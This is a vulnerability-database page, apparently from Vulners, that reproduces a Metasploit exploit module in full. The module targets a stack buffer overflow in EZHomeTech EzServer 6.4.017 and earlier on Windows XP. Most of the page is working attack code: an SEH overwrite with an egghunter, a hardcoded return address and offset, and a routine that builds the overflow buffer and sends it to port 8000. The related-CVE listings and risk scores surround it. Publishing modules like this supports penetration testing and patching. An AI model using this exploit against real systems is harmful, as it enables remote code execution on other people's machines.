Lucene search
+L

EZHomeTech EzServer Stack Buffer Overflow Vulnerability

🗓️ 18 Jun 2012 00:00:00Reported by modpr0be <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 18 Views

EZHomeTech EzServer Stack Buffer Overflow Vulnerability 6.4.017 and earlier. Attackers can execute remote code by sending malicious packets due to a stack buffer overflow

Related
Code
ReporterTitlePublishedViews
Family
circl
Circl
CVE-2024-23985
29 May 201815:50
circl
cnnvd
CNNVD
Ezhometech EzServer Security Vulnerability
25 Jan 202400:00
cnnvd
cve
CVE
CVE-2024-23985
25 Jan 202400:00
cve
cvelist
Cvelist
CVE-2024-23985
25 Jan 202400:00
cvelist
nvd
NVD
CVE-2024-23985
25 Jan 202405:15
nvd
osv
OSV
CVE-2024-23985
25 Jan 202405:15
osv
prion
Prion
Command injection
25 Jan 202405:15
prion
ptsecurity
Positive Technologies
PT-2024-20220 · Eserver · Ezserver
24 Jan 202400:00
ptsecurity
redhatcve
RedhatCVE
CVE-2024-23985
23 May 202509:43
redhatcve
vulnrichment
Vulnrichment
CVE-2024-23985
25 Jan 202400:00
vulnrichment
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Remote::Egghunter
  include Msf::Exploit::Remote::Seh

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'EZHomeTech EzServer Stack Buffer Overflow Vulnerability',
        'Description' => %q{
          This module exploits a stack buffer overflow in the EZHomeTech EZServer
          for versions 6.4.017 and earlier. If a malicious user sends packets
          containing an overly long string, it may be possible to execute a
          payload remotely. Due to size constraints, this module uses the
          Egghunter technique.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'modpr0be<modpr0be[at]spentera.com>' # Original discovery and Metasploit module
        ],
        'References' => [
          [ 'CVE', '2024-23985' ],
          [ 'OSVDB', '83065' ],
          [ 'BID', '54056' ],
          [ 'EDB', '19266' ],
          [ 'URL', 'http://www.spentera.com/2012/06/ezhometech-ezserver-6-4-017-stack-overflow-vulnerability/' ]
        ],
        'DefaultOptions' => {
          'EXITFUNC' => 'thread'
        },
        'Platform' => 'win',
        'Payload' => {
          'BadChars' => "\x00\x0a\x0d\x20\x2e\x2f\x3a",
          'DisableNops' => true
        },
        'Targets' => [
          [
            'EzHomeTech EzServer <= 6.4.017 (Windows XP Universal)',
            {
              'Ret' => 0x10212779, # pop ecx # pop ebx # ret 4 - msvcrtd.dll
              'Offset' =>	5852
            }
          ],
        ],
        'Privileged' => false,
        'DisclosureDate' => '2012-06-18',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options([Opt::RPORT(8000)])
  end

  def exploit
    connect
    eggoptions =
      {
        :checksum => true,
        :eggtag => "w00t"
      }

    hunter = generate_egghunter(payload.encoded, payload_badchars, eggoptions)
    egg = hunter[1]
    buff = rand_text(target['Offset'] - egg.length) # junk
    buff << egg
    buff << make_nops(32)
    buff << generate_seh_record(target.ret)
    buff << make_nops(16)
    buff << hunter[0]
    buff << rand_text_alpha_upper(500)

    print_status("Triggering shellcode now...")
    print_status("Please be patient, the egghunter may take a while..")

    sock.put(buff)

    handler
    disconnect
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

18 Jun 2012 00:00Current
7.6High risk
Vulners AI Score7.6
CVSS 3.17.5
EPSS0.03574
SSVC
18